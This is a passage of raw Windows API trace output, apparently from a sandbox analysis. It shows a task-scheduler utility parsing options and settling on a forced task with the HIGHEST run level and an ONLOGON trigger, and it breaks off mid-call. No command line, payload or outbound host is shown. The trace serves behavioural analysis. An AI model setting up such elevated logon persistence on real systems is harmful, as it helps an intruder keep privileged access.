[0068.425] lstrlenW (lpString="|p|") returned 3 [0068.425] lstrlenW (lpString="|f|") returned 3 [0068.425] StrStrIW (lpFirst="|p|", lpSrch="|f|") returned 0x0 [0068.425] SetLastError (dwErrCode=0x490) [0068.425] lstrlenW (lpString="ru") returned 2 [0068.425] lstrlenW (lpString="ru") returned 2 [0068.425] _memicmp (_Buf1=0x25d1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.425] lstrlenW (lpString="f") returned 1 [0068.425] _memicmp (_Buf1=0x25d200, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.425] _vsnwprintf (in: _Buffer=0x25d240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c128 | out: _Buffer="|ru|") returned 4 [0068.425] _vsnwprintf (in: _Buffer=0x25d220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c128 | out: _Buffer="|f|") returned 3 [0068.425] lstrlenW (lpString="|ru|") returned 4 [0068.425] lstrlenW (lpString="|f|") returned 3 [0068.425] StrStrIW (lpFirst="|ru|", lpSrch="|f|") returned 0x0 [0068.425] SetLastError (dwErrCode=0x490) [0068.425] lstrlenW (lpString="rp") returned 2 [0068.425] lstrlenW (lpString="rp") returned 2 [0068.425] _memicmp (_Buf1=0x25d1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.425] lstrlenW (lpString="f") returned 1 [0068.425] _memicmp (_Buf1=0x25d200, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.425] _vsnwprintf (in: _Buffer=0x25d240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c128 | out: _Buffer="|rp|") returned 4 [0068.425] _vsnwprintf (in: _Buffer=0x25d220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c128 | out: _Buffer="|f|") returned 3 [0068.425] lstrlenW (lpString="|rp|") returned 4 [0068.425] lstrlenW (lpString="|f|") returned 3 [0068.425] StrStrIW (lpFirst="|rp|", lpSrch="|f|") returned 0x0 [0068.425] SetLastError (dwErrCode=0x490) [0068.425] lstrlenW (lpString="sc") returned 2 [0068.425] lstrlenW (lpString="sc") returned 2 [0068.425] _memicmp (_Buf1=0x25d1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.425] lstrlenW (lpString="f") returned 1 [0068.425] _memicmp (_Buf1=0x25d200, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.425] _vsnwprintf (in: _Buffer=0x25d240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c128 | out: _Buffer="|sc|") returned 4 [0068.426] _vsnwprintf (in: _Buffer=0x25d220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c128 | out: _Buffer="|f|") returned 3 [0068.426] lstrlenW (lpString="|sc|") returned 4 [0068.426] lstrlenW (lpString="|f|") returned 3 [0068.426] StrStrIW (lpFirst="|sc|", lpSrch="|f|") returned 0x0 [0068.426] SetLastError (dwErrCode=0x490) [0068.426] lstrlenW (lpString="mo") returned 2 [0068.426] lstrlenW (lpString="mo") returned 2 [0068.426] _memicmp (_Buf1=0x25d1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.426] lstrlenW (lpString="f") returned 1 [0068.426] _memicmp (_Buf1=0x25d200, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.426] _vsnwprintf (in: _Buffer=0x25d240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c128 | out: _Buffer="|mo|") returned 4 [0068.426] _vsnwprintf (in: _Buffer=0x25d220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c128 | out: _Buffer="|f|") returned 3 [0068.426] lstrlenW (lpString="|mo|") returned 4 [0068.426] lstrlenW (lpString="|f|") returned 3 [0068.426] StrStrIW (lpFirst="|mo|", lpSrch="|f|") returned 0x0 [0068.426] SetLastError (dwErrCode=0x490) [0068.426] lstrlenW (lpString="d") returned 1 [0068.426] lstrlenW (lpString="d") returned 1 [0068.426] _memicmp (_Buf1=0x25d1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.426] lstrlenW (lpString="f") returned 1 [0068.426] _memicmp (_Buf1=0x25d200, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.426] _vsnwprintf (in: _Buffer=0x25d240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c128 | out: _Buffer="|d|") returned 3 [0068.426] _vsnwprintf (in: _Buffer=0x25d220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c128 | out: _Buffer="|f|") returned 3 [0068.426] lstrlenW (lpString="|d|") returned 3 [0068.426] lstrlenW (lpString="|f|") returned 3 [0068.426] StrStrIW (lpFirst="|d|", lpSrch="|f|") returned 0x0 [0068.426] SetLastError (dwErrCode=0x490) [0068.426] lstrlenW (lpString="m") returned 1 [0068.426] lstrlenW (lpString="m") returned 1 [0068.427] _memicmp (_Buf1=0x25d1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.427] lstrlenW (lpString="f") returned 1 [0068.427] _memicmp (_Buf1=0x25d200, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.427] _vsnwprintf (in: _Buffer=0x25d240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c128 | out: _Buffer="|m|") returned 3 [0068.427] _vsnwprintf (in: _Buffer=0x25d220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c128 | out: _Buffer="|f|") returned 3 [0068.427] lstrlenW (lpString="|m|") returned 3 [0068.427] lstrlenW (lpString="|f|") returned 3 [0068.427] StrStrIW (lpFirst="|m|", lpSrch="|f|") returned 0x0 [0068.427] SetLastError (dwErrCode=0x490) [0068.427] lstrlenW (lpString="i") returned 1 [0068.427] lstrlenW (lpString="i") returned 1 [0068.427] _memicmp (_Buf1=0x25d1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.427] lstrlenW (lpString="f") returned 1 [0068.427] _memicmp (_Buf1=0x25d200, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.427] _vsnwprintf (in: _Buffer=0x25d240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c128 | out: _Buffer="|i|") returned 3 [0068.427] _vsnwprintf (in: _Buffer=0x25d220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c128 | out: _Buffer="|f|") returned 3 [0068.427] lstrlenW (lpString="|i|") returned 3 [0068.427] lstrlenW (lpString="|f|") returned 3 [0068.427] StrStrIW (lpFirst="|i|", lpSrch="|f|") returned 0x0 [0068.427] SetLastError (dwErrCode=0x490) [0068.427] lstrlenW (lpString="tn") returned 2 [0068.427] lstrlenW (lpString="tn") returned 2 [0068.427] _memicmp (_Buf1=0x25d1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.427] lstrlenW (lpString="f") returned 1 [0068.427] _memicmp (_Buf1=0x25d200, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.427] _vsnwprintf (in: _Buffer=0x25d240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c128 | out: _Buffer="|tn|") returned 4 [0068.427] _vsnwprintf (in: _Buffer=0x25d220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c128 | out: _Buffer="|f|") returned 3 [0068.427] lstrlenW (lpString="|tn|") returned 4 [0068.427] lstrlenW (lpString="|f|") returned 3 [0068.428] StrStrIW (lpFirst="|tn|", lpSrch="|f|") returned 0x0 [0068.428] SetLastError (dwErrCode=0x490) [0068.428] lstrlenW (lpString="tr") returned 2 [0068.428] lstrlenW (lpString="tr") returned 2 [0068.428] _memicmp (_Buf1=0x25d1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.428] lstrlenW (lpString="f") returned 1 [0068.428] _memicmp (_Buf1=0x25d200, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.428] _vsnwprintf (in: _Buffer=0x25d240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c128 | out: _Buffer="|tr|") returned 4 [0068.428] _vsnwprintf (in: _Buffer=0x25d220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c128 | out: _Buffer="|f|") returned 3 [0068.428] lstrlenW (lpString="|tr|") returned 4 [0068.428] lstrlenW (lpString="|f|") returned 3 [0068.428] StrStrIW (lpFirst="|tr|", lpSrch="|f|") returned 0x0 [0068.428] SetLastError (dwErrCode=0x490) [0068.428] lstrlenW (lpString="st") returned 2 [0068.428] lstrlenW (lpString="st") returned 2 [0068.428] _memicmp (_Buf1=0x25d1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.428] lstrlenW (lpString="f") returned 1 [0068.428] _memicmp (_Buf1=0x25d200, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.428] _vsnwprintf (in: _Buffer=0x25d240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c128 | out: _Buffer="|st|") returned 4 [0068.428] _vsnwprintf (in: _Buffer=0x25d220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c128 | out: _Buffer="|f|") returned 3 [0068.428] lstrlenW (lpString="|st|") returned 4 [0068.428] lstrlenW (lpString="|f|") returned 3 [0068.428] StrStrIW (lpFirst="|st|", lpSrch="|f|") returned 0x0 [0068.428] SetLastError (dwErrCode=0x490) [0068.428] lstrlenW (lpString="sd") returned 2 [0068.428] lstrlenW (lpString="sd") returned 2 [0068.428] _memicmp (_Buf1=0x25d1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.428] lstrlenW (lpString="f") returned 1 [0068.428] _memicmp (_Buf1=0x25d200, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.428] _vsnwprintf (in: _Buffer=0x25d240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c128 | out: _Buffer="|sd|") returned 4 [0068.428] _vsnwprintf (in: _Buffer=0x25d220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c128 | out: _Buffer="|f|") returned 3 [0068.429] lstrlenW (lpString="|sd|") returned 4 [0068.429] lstrlenW (lpString="|f|") returned 3 [0068.429] StrStrIW (lpFirst="|sd|", lpSrch="|f|") returned 0x0 [0068.429] SetLastError (dwErrCode=0x490) [0068.429] lstrlenW (lpString="ed") returned 2 [0068.429] lstrlenW (lpString="ed") returned 2 [0068.429] _memicmp (_Buf1=0x25d1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.429] lstrlenW (lpString="f") returned 1 [0068.429] _memicmp (_Buf1=0x25d200, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.429] _vsnwprintf (in: _Buffer=0x25d240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c128 | out: _Buffer="|ed|") returned 4 [0068.429] _vsnwprintf (in: _Buffer=0x25d220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c128 | out: _Buffer="|f|") returned 3 [0068.429] lstrlenW (lpString="|ed|") returned 4 [0068.429] lstrlenW (lpString="|f|") returned 3 [0068.429] StrStrIW (lpFirst="|ed|", lpSrch="|f|") returned 0x0 [0068.429] SetLastError (dwErrCode=0x490) [0068.429] lstrlenW (lpString="it") returned 2 [0068.429] lstrlenW (lpString="it") returned 2 [0068.429] _memicmp (_Buf1=0x25d1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.429] lstrlenW (lpString="f") returned 1 [0068.429] _memicmp (_Buf1=0x25d200, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.429] _vsnwprintf (in: _Buffer=0x25d240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c128 | out: _Buffer="|it|") returned 4 [0068.429] _vsnwprintf (in: _Buffer=0x25d220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c128 | out: _Buffer="|f|") returned 3 [0068.429] lstrlenW (lpString="|it|") returned 4 [0068.429] lstrlenW (lpString="|f|") returned 3 [0068.429] StrStrIW (lpFirst="|it|", lpSrch="|f|") returned 0x0 [0068.429] SetLastError (dwErrCode=0x490) [0068.430] lstrlenW (lpString="et") returned 2 [0068.430] lstrlenW (lpString="et") returned 2 [0068.430] _memicmp (_Buf1=0x25d1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.430] lstrlenW (lpString="f") returned 1 [0068.430] _memicmp (_Buf1=0x25d200, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.430] _vsnwprintf (in: _Buffer=0x25d240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c128 | out: _Buffer="|et|") returned 4 [0068.432] _vsnwprintf (in: _Buffer=0x25d220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c128 | out: _Buffer="|f|") returned 3 [0068.432] lstrlenW (lpString="|et|") returned 4 [0068.432] lstrlenW (lpString="|f|") returned 3 [0068.432] StrStrIW (lpFirst="|et|", lpSrch="|f|") returned 0x0 [0068.432] SetLastError (dwErrCode=0x490) [0068.432] lstrlenW (lpString="k") returned 1 [0068.432] lstrlenW (lpString="k") returned 1 [0068.432] _memicmp (_Buf1=0x25d1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.432] lstrlenW (lpString="f") returned 1 [0068.432] _memicmp (_Buf1=0x25d200, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.432] _vsnwprintf (in: _Buffer=0x25d240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c128 | out: _Buffer="|k|") returned 3 [0068.432] _vsnwprintf (in: _Buffer=0x25d220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c128 | out: _Buffer="|f|") returned 3 [0068.432] lstrlenW (lpString="|k|") returned 3 [0068.432] lstrlenW (lpString="|f|") returned 3 [0068.432] StrStrIW (lpFirst="|k|", lpSrch="|f|") returned 0x0 [0068.432] SetLastError (dwErrCode=0x490) [0068.432] lstrlenW (lpString="du") returned 2 [0068.432] lstrlenW (lpString="du") returned 2 [0068.432] _memicmp (_Buf1=0x25d1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.432] lstrlenW (lpString="f") returned 1 [0068.432] _memicmp (_Buf1=0x25d200, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.432] _vsnwprintf (in: _Buffer=0x25d240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c128 | out: _Buffer="|du|") returned 4 [0068.432] _vsnwprintf (in: _Buffer=0x25d220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c128 | out: _Buffer="|f|") returned 3 [0068.432] lstrlenW (lpString="|du|") returned 4 [0068.432] lstrlenW (lpString="|f|") returned 3 [0068.432] StrStrIW (lpFirst="|du|", lpSrch="|f|") returned 0x0 [0068.432] SetLastError (dwErrCode=0x490) [0068.433] lstrlenW (lpString="ri") returned 2 [0068.433] lstrlenW (lpString="ri") returned 2 [0068.433] _memicmp (_Buf1=0x25d1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.433] lstrlenW (lpString="f") returned 1 [0068.433] _memicmp (_Buf1=0x25d200, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.433] _vsnwprintf (in: _Buffer=0x25d240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c128 | out: _Buffer="|ri|") returned 4 [0068.433] _vsnwprintf (in: _Buffer=0x25d220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c128 | out: _Buffer="|f|") returned 3 [0068.433] lstrlenW (lpString="|ri|") returned 4 [0068.433] lstrlenW (lpString="|f|") returned 3 [0068.433] StrStrIW (lpFirst="|ri|", lpSrch="|f|") returned 0x0 [0068.433] SetLastError (dwErrCode=0x490) [0068.433] lstrlenW (lpString="z") returned 1 [0068.433] lstrlenW (lpString="z") returned 1 [0068.433] _memicmp (_Buf1=0x25d1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.433] lstrlenW (lpString="f") returned 1 [0068.433] _memicmp (_Buf1=0x25d200, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.433] _vsnwprintf (in: _Buffer=0x25d240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c128 | out: _Buffer="|z|") returned 3 [0068.433] _vsnwprintf (in: _Buffer=0x25d220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c128 | out: _Buffer="|f|") returned 3 [0068.433] lstrlenW (lpString="|z|") returned 3 [0068.433] lstrlenW (lpString="|f|") returned 3 [0068.433] StrStrIW (lpFirst="|z|", lpSrch="|f|") returned 0x0 [0068.433] SetLastError (dwErrCode=0x490) [0068.433] lstrlenW (lpString="f") returned 1 [0068.433] lstrlenW (lpString="f") returned 1 [0068.433] _memicmp (_Buf1=0x25d1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.433] lstrlenW (lpString="f") returned 1 [0068.433] _memicmp (_Buf1=0x25d200, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.433] _vsnwprintf (in: _Buffer=0x25d240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c128 | out: _Buffer="|f|") returned 3 [0068.433] _vsnwprintf (in: _Buffer=0x25d220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c128 | out: _Buffer="|f|") returned 3 [0068.433] lstrlenW (lpString="|f|") returned 3 [0068.434] lstrlenW (lpString="|f|") returned 3 [0068.434] StrStrIW (lpFirst="|f|", lpSrch="|f|") returned="|f|" [0068.434] SetLastError (dwErrCode=0x0) [0068.434] SetLastError (dwErrCode=0x0) [0068.434] GetProcessHeap () returned 0x240000 [0068.434] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x20) returned 0x25dd10 [0068.434] _memicmp (_Buf1=0x25d0a0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.434] LoadStringW (in: hInstance=0x0, uID=0x20d, lpBuffer=0x25e2a0, cchBufferMax=256 | out: lpBuffer="LIMITED") returned 0x7 [0068.434] lstrlenW (lpString="LIMITED") returned 7 [0068.434] GetProcessHeap () returned 0x240000 [0068.434] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x10) returned 0x25e560 [0068.434] GetThreadLocale () returned 0x409 [0068.434] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="HIGHEST", cchCount1=-1, lpString2="LIMITED", cchCount2=-1) returned 1 [0068.434] GetProcessHeap () returned 0x240000 [0068.434] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x20) returned 0x25dce0 [0068.434] _memicmp (_Buf1=0x25d0a0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.434] LoadStringW (in: hInstance=0x0, uID=0x20e, lpBuffer=0x25e2a0, cchBufferMax=256 | out: lpBuffer="HIGHEST") returned 0x7 [0068.434] lstrlenW (lpString="HIGHEST") returned 7 [0068.434] GetProcessHeap () returned 0x240000 [0068.434] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x10) returned 0x25e580 [0068.434] GetThreadLocale () returned 0x409 [0068.434] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="HIGHEST", cchCount1=-1, lpString2="HIGHEST", cchCount2=-1) returned 2 [0068.434] GetProcessHeap () returned 0x240000 [0068.434] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x20) returned 0x25dcb0 [0068.434] _memicmp (_Buf1=0x25d0a0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.434] LoadStringW (in: hInstance=0x0, uID=0x1ae, lpBuffer=0x25e2a0, cchBufferMax=256 | out: lpBuffer="MINUTE") returned 0x6 [0068.434] lstrlenW (lpString="MINUTE") returned 6 [0068.434] GetProcessHeap () returned 0x240000 [0068.434] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0xe) returned 0x25e5a0 [0068.435] GetThreadLocale () returned 0x409 [0068.435] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="MINUTE", cchCount2=-1) returned 3 [0068.435] GetProcessHeap () returned 0x240000 [0068.435] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x20) returned 0x25dc80 [0068.435] _memicmp (_Buf1=0x25d0a0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.435] LoadStringW (in: hInstance=0x0, uID=0x1af, lpBuffer=0x25e2a0, cchBufferMax=256 | out: lpBuffer="HOURLY") returned 0x6 [0068.435] lstrlenW (lpString="HOURLY") returned 6 [0068.435] GetProcessHeap () returned 0x240000 [0068.435] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0xe) returned 0x25e5c0 [0068.435] GetThreadLocale () returned 0x409 [0068.435] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="HOURLY", cchCount2=-1) returned 3 [0068.435] GetProcessHeap () returned 0x240000 [0068.435] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x20) returned 0x25dc50 [0068.435] _memicmp (_Buf1=0x25d0a0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.435] LoadStringW (in: hInstance=0x0, uID=0x1b0, lpBuffer=0x25e2a0, cchBufferMax=256 | out: lpBuffer="DAILY") returned 0x5 [0068.435] lstrlenW (lpString="DAILY") returned 5 [0068.435] GetProcessHeap () returned 0x240000 [0068.435] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0xc) returned 0x25e5e0 [0068.435] GetThreadLocale () returned 0x409 [0068.435] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="DAILY", cchCount2=-1) returned 3 [0068.435] GetProcessHeap () returned 0x240000 [0068.435] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x20) returned 0x25dc20 [0068.435] _memicmp (_Buf1=0x25d0a0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.435] LoadStringW (in: hInstance=0x0, uID=0x1b1, lpBuffer=0x25e2a0, cchBufferMax=256 | out: lpBuffer="WEEKLY") returned 0x6 [0068.435] lstrlenW (lpString="WEEKLY") returned 6 [0068.435] GetProcessHeap () returned 0x240000 [0068.435] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0xe) returned 0x25e600 [0068.435] GetThreadLocale () returned 0x409 [0068.435] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="WEEKLY", cchCount2=-1) returned 1 [0068.435] GetProcessHeap () returned 0x240000 [0068.435] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x20) returned 0x25dbf0 [0068.435] _memicmp (_Buf1=0x25d0a0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.435] LoadStringW (in: hInstance=0x0, uID=0x1b2, lpBuffer=0x25e2a0, cchBufferMax=256 | out: lpBuffer="MONTHLY") returned 0x7 [0068.436] lstrlenW (lpString="MONTHLY") returned 7 [0068.436] GetProcessHeap () returned 0x240000 [0068.436] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x10) returned 0x25e620 [0068.436] GetThreadLocale () returned 0x409 [0068.436] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="MONTHLY", cchCount2=-1) returned 3 [0068.436] _memicmp (_Buf1=0x25d0a0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.436] LoadStringW (in: hInstance=0x0, uID=0x1b3, lpBuffer=0x25e2a0, cchBufferMax=256 | out: lpBuffer="ONCE") returned 0x4 [0068.436] lstrlenW (lpString="ONCE") returned 4 [0068.436] GetProcessHeap () returned 0x240000 [0068.436] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0xa) returned 0x25e640 [0068.436] GetThreadLocale () returned 0x409 [0068.436] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="ONCE", cchCount2=-1) returned 3 [0068.436] _memicmp (_Buf1=0x25d0a0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.436] LoadStringW (in: hInstance=0x0, uID=0x1b4, lpBuffer=0x25e2a0, cchBufferMax=256 | out: lpBuffer="ONSTART") returned 0x7 [0068.436] lstrlenW (lpString="ONSTART") returned 7 [0068.436] GetThreadLocale () returned 0x409 [0068.436] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="ONSTART", cchCount2=-1) returned 1 [0068.436] _memicmp (_Buf1=0x25d0a0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.436] LoadStringW (in: hInstance=0x0, uID=0x1b5, lpBuffer=0x25e2a0, cchBufferMax=256 | out: lpBuffer="ONLOGON") returned 0x7 [0068.436] lstrlenW (lpString="ONLOGON") returned 7 [0068.436] GetThreadLocale () returned 0x409 [0068.436] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="ONLOGON", cchCount2=-1) returned 2 [0068.436] SetLastError (dwErrCode=0x0) [0068.436] GetProcessHeap () returned 0x240000 [0068.436] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x1fc) returned 0x25d330 [0068.436] _memicmp (_Buf1=0x25d0a0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.437] LoadStringW (in: hInstance=0x0, uID=0x1d7, lpBuffer=0x25e2a0, cchBufferMax=256 | out: lpBuffer="First") returned 0x5 [0068.437] lstrlenW (lpString="First") returned 5 [0068.437] _memicmp (_Buf1=0x25d0a0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.437] LoadStringW (in: hInstance=0x0, uID=0x1d8, lpBuffer=0x25e2a0, cchBufferMax=256 | out: lpBuffer="Second") returned 0x6 [0068.437] lstrlenW (lpString="Second") returned 6 [0068.437] _memicmp (_Buf1=0x25d0a0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.437] LoadStringW (in: hInstance=0x0, uID=0x1d9, lpBuffer=0x25e2a0, cchBufferMax=256 | out: lpBuffer="Third") returned 0x5 [0068.437] lstrlenW (lpString="Third") returned 5 [0068.437] _memicmp (_Buf1=0x25d0a0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.437] LoadStringW (in: hInstance=0x0, uID=0x1da, lpBuffer=0x25e2a0, cchBufferMax=256 | out: lpBuffer="Fourth") returned 0x6 [0068.437] lstrlenW (lpString="Fourth") returned 6 [0068.437] _memicmp (_Buf1=0x25d0a0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.437] LoadStringW (in: hInstance=0x0, uID=0x1db, lpBuffer=0x25e2a0, cchBufferMax=256 | out: lpBuffer="Last") returned 0x4 [0068.437] lstrlenW (lpString="Last") returned 4 [0068.437] _memicmp (_Buf1=0x25d0a0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.437] LoadStringW (in: hInstance=0x0, uID=0x1d7, lpBuffer=0x25e2a0, cchBufferMax=256 | out: lpBuffer="First") returned 0x5 [0068.437] lstrlenW (lpString="First") returned 5 [0068.437] _memicmp (_Buf1=0x25d0a0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.437] LoadStringW (in: hInstance=0x0, uID=0x1d8, lpBuffer=0x25e2a0, cchBufferMax=256 | out: lpBuffer="Second") returned 0x6 [0068.437] lstrlenW (lpString="Second") returned 6 [0068.437] _memicmp (_Buf1=0x25d0a0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.437] LoadStringW (in: hInstance=0x0, uID=0x1d9, lpBuffer=0x25e2a0, cchBufferMax=256 | out: lpBuffer="Third") returned 0x5 [0068.437] lstrlenW (lpString="Third") returned 5 [0068.437] GetProcessHeap () returned 0x240000 [0068.437] GetProcessHeap () returned 0x240000 [0068.437] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25e640) returned 1 [0068.438] GetProcessHeap () returned 0x240000 [0068.438] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25e640) returned 0xa [0068.438] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25e640 | out: hHeap=0x240000) returned 1 [0068.438] GetProcessHeap () returned 0x240000 [0068.438] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0xc) returned 0x25e640 [0068.438] _memicmp (_Buf1=0x25d0a0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.438] LoadStringW (in: hInstance=0x0, uID=0x1da, lpBuffer=0x25e2a0, cchBufferMax=256 | out: lpBuffer="Fourth") returned 0x6 [0068.438] lstrlenW (lpString="Fourth") returned 6 [0068.438] _memicmp (_Buf1=0x25d0a0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.438] LoadStringW (in: hInstance=0x0, uID=0x1db, lpBuffer=0x25e2a0, cchBufferMax=256 | out: lpBuffer="Last") returned 0x4 [0068.438] lstrlenW (lpString="Last") returned 4 [0068.438] GetLocaleInfoW (in: Locale=0x400, LCType=0x21, lpLCData=0x19bfa0, cchData=128 | out: lpLCData="0") returned 2 [0068.438] _memicmp (_Buf1=0x25d0a0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.438] LoadStringW (in: hInstance=0x0, uID=0x19c, lpBuffer=0x25e2a0, cchBufferMax=256 | out: lpBuffer="mm/dd/yyyy") returned 0xa [0068.438] lstrlenW (lpString="mm/dd/yyyy") returned 10 [0068.438] GetProcessHeap () returned 0x240000 [0068.438] GetProcessHeap () returned 0x240000 [0068.438] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25e560) returned 1 [0068.438] GetProcessHeap () returned 0x240000 [0068.438] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25e560) returned 0x10 [0068.438] HeapFree (in: hHeap=0x240000, dwFlags=0x0, 